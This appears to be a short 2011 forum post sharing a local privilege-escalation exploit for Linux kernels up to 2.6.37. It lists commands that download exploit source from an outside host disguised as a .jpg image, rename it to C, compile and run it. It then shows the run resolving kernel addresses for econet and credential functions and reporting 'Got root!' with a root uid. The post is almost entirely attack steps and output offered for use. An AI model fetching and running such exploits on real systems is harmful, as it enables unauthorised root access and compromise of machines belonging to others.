Linux Kernel <= 2.6.37 local privilege escalation

22/06/2011 15:44

 Code: [Select]

wget http://00xf0.files.wordpress.com/2011/03/nelson.jpg
mv nelson.jpg nelson.c
gcc -o nelson nelson.c
chmod +x nelson
./nelson

  • Resolving kernel addresses…
  • Resolved econet_ioctl to 0xf80f02a0
  • Resolved econet_ops to 0xf80f03a0
  • Resolved commit_creds to 0xc016c830
  • Resolved prepare_kernel_cred to 0xc016cc80
  • Calculating target…
  • Triggering payload…
  • Got root!

id
uid=0(root) gid=0(root) groupes=0(root)